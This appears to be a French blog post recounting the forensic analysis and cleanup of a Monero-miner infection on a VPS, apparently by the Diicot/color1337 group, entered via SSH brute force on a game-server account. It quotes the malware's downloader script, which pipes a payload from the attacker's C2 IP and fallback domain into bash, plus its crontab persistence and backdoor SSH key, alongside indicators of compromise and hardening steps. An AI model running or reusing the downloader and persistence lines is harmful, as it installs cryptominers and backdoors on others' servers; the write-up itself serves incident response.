Ça commence par une vérification Redis de routine
Je voulais juste vérifier l'état de mon serveur Redis — pas de raison particulière, curiosité. Le serveur tourne sur un VPS Hostinger, il héberge entre autres un serveur de jeu Palworld que j'avais monté pour quelques sessions avec des amis.
Première chose rassurante : Redis était propre. Lié uniquement à 127.0.0.1, mode protégé activé, 3 clés légitimes appartenant à rspamd (le filtre anti-spam du serveur mail), aucune commande suspecte dans les logs. Pas de réplication non autorisée, pas de clé injectée, pas de script Lua malveillant.
J'allais remballer. Et puis j'ai cherché les fichiers récemment modifiés.
Les premiers signaux
La commande de base pour chercher des fichiers cachés créés après l'installation du système :
find / -name '.*' -maxdepth 4 -newer /etc/passwd 2>/dev/nullLes résultats normaux défilent — fichiers de config, git, ssh. Et puis :
`.ladyg0g0`, `.pr1nc35`, `.b4nd1d0`. Nommés pour ne pas attirer l'attention à première vue, mais suffisamment distinctifs pour quelqu'un qui sait chercher. Les fichiers dans /dev/shm étaient des données compressées zstandard légitimes appartenant à rspamd. Mais /var/tmp/ c'était autre chose.
/var/tmp/.ladyg0g0/.pr1nc35
/var/tmp/dbf58ca4/.b4nd1d0
/var/tmp/dbf58ca4/.c
/var/tmp/dbf58ca4/21112101
/var/tmp/dbf58ca4/2958062dAutopsie des fichiers
Les fichiers texte révèlent la structure de l'attaque. `.pr1nc35` contient juste le chemin du répertoire de travail. `.b4nd1d0` est un script de garde qui vérifie si le processus tourne déjà avant de le lancer.
#!/bin/bash
m1lbe1() {
if ! pgrep -x fd93fba7 >/dev/null; then
cd /var/tmp/dbf58ca4
./fd93fba7 >/dev/null 2>&1
else
exit 1
fi
}`.c` est le downloader — il contacte le serveur C2 pour récupérer un nouveau payload et l'exécuter directement en mémoire via `curl | bash`. Si le premier C2 ne répond pas, il rebascule sur un domaine fallback.
#!/bin/bash
if curl -s --connect-timeout 15 195.24.237.240/.x/black3; then
curl -s 195.24.237.240/.x/black3 | bash >/dev/null 2>&1
else
curl -s --connect-timeout 15 digital.digitaldatainsights.org/.x/black3 | bash >/dev/null 2>&1
fiLes deux binaires : `21112101` (3,1 MB, ELF 64-bit statiquement lié) et `2958062d` (826 KB, même type). Un `strings` sur le plus gros révèle des fragments `xMR` et `pool` — c'est du XMRig, le mineur de Monero open-source le plus utilisé dans les infections de serveurs.
La persistance : crontab et backdoor SSH
Le mineur est lancé toutes les minutes, au démarrage, quotidiennement et mensuellement — quadruple redondance. Le script `.c` tourne toutes les 30 minutes pour re-télécharger un payload frais depuis le C2, ce qui permet à l'attaquant de mettre à jour le malware sans repasser sur le serveur.
@daily /var/tmp/dbf58ca4/./c90a5f7e >/dev/null 2>&1 & disown
@reboot /var/tmp/dbf58ca4/./c90a5f7e >/dev/null 2>&1 & disown
* * * * * /var/tmp/dbf58ca4/./c90a5f7e >/dev/null 2>&1 & disown
@monthly /var/tmp/dbf58ca4/./c90a5f7e >/dev/null 2>&1 & disown
*/30 * * * * /var/tmp/dbf58ca4/./.c >/dev/null 2>&1 & disownEt dans /home/palworld/.ssh/authorized_keys, une clé SSH ajoutée le 11 janvier 2026 — le même jour que tous les fichiers malveillants. L'attaquant s'est gardé une porte dérobée avec accès direct au compte.
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoBjnno5GB...w== ElPatrono1337L'attaquant identifié : Diicot / color1337
La clé SSH `ElPatrono1337` est un marqueur documenté. Le groupe est connu sous les noms Diicot, color1337 et ElPatrono1337, actif depuis au moins 2023 et dont les variantes continuent d'évoluer. Le même hash de clé SSH publique se retrouve dans tous les incidents documentés — c'est une signature fiable.
L'attaquant opère depuis des IP enregistrées chez VMHeaven.io — les deux ranges principaux identifiés sont 45.156.87.0/24 et 176.65.132.0/24.
Autre caractéristique du groupe : le malware se comporte comme un ver. Une fois installé, il tente de se propager aux autres machines accessibles via SSH en essayant de se connecter avec un user `node` qu'il crée lui-même. Il scanne l'environnement réseau local pour trouver d'autres cibles.
Comment ils sont entrés
Redis n'est pas le vecteur — contrairement à l'attaque classique qui exploite une instance Redis exposée sans auth pour écrire une clé SSH via CONFIG SET. Ici Redis est lié à 127.0.0.1 uniquement.
Le vrai vecteur : brute force SSH sur le mot de passe, rendu possible par un piège de configuration silencieux.
Le fichier /etc/ssh/sshd_config déclarait bien PasswordAuthentication no. Mais cloud-init avait créé /etc/ssh/sshd_config.d/50-cloud-init.conf avec PasswordAuthentication yes — et ce fichier a priorité sur le config principal. L'authentification par mot de passe était donc active à l'insu de l'administrateur.
Le user palworld (serveur de jeu exposé sur internet) avait un mot de passe faible. Les bots de color1337 font du brute force SSH en continu. Le reste découlait mécaniquement.
Détail aggravant : palworld était dans le groupe sudo. L'attaquant avait donc un chemin direct vers root depuis son accès initial.
# sshd_config principal :
PasswordAuthentication no
# /etc/ssh/sshd_config.d/50-cloud-init.conf (prioritaire) :
PasswordAuthentication yes ← override silencieux
# Config réelle chargée en mémoire :
passwordauthentication yesAudit approfondi : les IoCs du groupe
L'article d'Invirtuate liste les indicateurs de compromission connus pour color1337. En les vérifiant un par un sur le serveur :
User `node` créé par le worm — absent. Le malware crée normalement ce compte pour se propager via SSH vers d'autres machines. Son absence suggère que la phase de propagation n'a pas eu lieu ou a échoué.
Service systemd `/usr/lib/systemd/system/myservices.service` — absent. Ce service est utilisé comme mécanisme de persistance alternatif au crontab dans d'autres variantes du malware.
Script `/usr/bin/ssshd` — absent. C'est le même downloader que `.c`, mais positionné dans un chemin système pour paraître légitime.
Fichier `/usr/bin/.locatione` — absent. Pointeur vers le répertoire de travail du malware.
Cette variante de janvier 2026 n'a pas déployé tous les modules documentés — probablement une version intermédiaire de la campagne. L'infection s'est arrêtée au mineur et à la backdoor SSH, sans propagation vers d'autres serveurs.
Le nettoyage
La procédure complète, dans l'ordre :
# 1. Couper la persistance
crontab -u palworld -r
# 2. Supprimer les fichiers malveillants
rm -rf /var/tmp/dbf58ca4 /var/tmp/.ladyg0g0
rm -rf /var/tmp/f9c14cb3 /var/tmp/4b3c920f /var/tmp/c6b71af4 /var/tmp/09a42dcc
# 3. Retirer la backdoor SSH
sed -i '/ElPatrono1337/d' /home/palworld/.ssh/authorized_keys
# 4. Bloquer le C2 et les ranges de l'attaquant
iptables -A INPUT -s 195.24.237.240 -j DROP
iptables -A OUTPUT -d 195.24.237.240 -j DROP
iptables -A INPUT -s 45.156.87.0/24 -j DROP
iptables -A OUTPUT -d 45.156.87.0/24 -j DROP
iptables -A INPUT -s 176.65.132.0/24 -j DROP
iptables -A OUTPUT -d 176.65.132.0/24 -j DROP
iptables-save > /etc/iptables/rules.v4
# 5. Supprimer le vecteur d'entrée
userdel -r palworld
# 6. Corriger la config SSH
echo 'PasswordAuthentication no' > /etc/ssh/sshd_config.d/50-cloud-init.conf
printf '[Service]\nPermitRootLogin prohibit-password\nPasswordAuthentication no\n' \
> /etc/ssh/sshd_config.d/01-hardening.conf
systemctl reload sshd
passwd root # changer le mot de passe rootLe mineur `c90a5f7e` référencé dans le crontab n'existait plus au moment de l'analyse — supprimé ou remplacé par un run précédent du downloader. Le serveur tournait à 0% CPU. Mais le script `.c` aurait ré-injecté un nouveau payload à la prochaine exécution toutes les 30 minutes.
Ce que ça apprend
cloud-init peut silencieusement annuler ta config SSH. C'est la leçon la plus importante. sshd_config.d/50-cloud-init.conf a priorité sur sshd_config. Un PasswordAuthentication no dans le fichier principal ne sert à rien si cloud-init le réécrase. Toujours vérifier avec `sshd -T | grep passwordauthentication` — c'est la config réelle chargée en mémoire.
Les serveurs de jeux sont des vecteurs négligés. Un serveur Palworld, Minecraft, Valheim — c'est du code qui écoute sur un port réseau, souvent avec peu d'attention à la sécurité et des mises à jour irrégulières. Même règle qu'un service web : on patch, on isole, on monitore.
Ne jamais mettre un user de service dans sudo. Le user palworld était dans le groupe sudo — décision de facilité au moment de la configuration. Avec la backdoor SSH, ça ouvrait un chemin direct vers root.
Les fichiers dans /var/tmp survivent aux redémarrages. Contrairement à /tmp, /var/tmp est conçu pour persister. Zone idéale pour un attaquant qui veut maintenir ses fichiers entre les reboots sans toucher les répertoires système surveillés.
Redis était irréprochable. L'audit a commencé par Redis, correctement configuré. La leçon : vérifier l'ensemble du serveur, pas seulement le service qui a motivé l'audit.
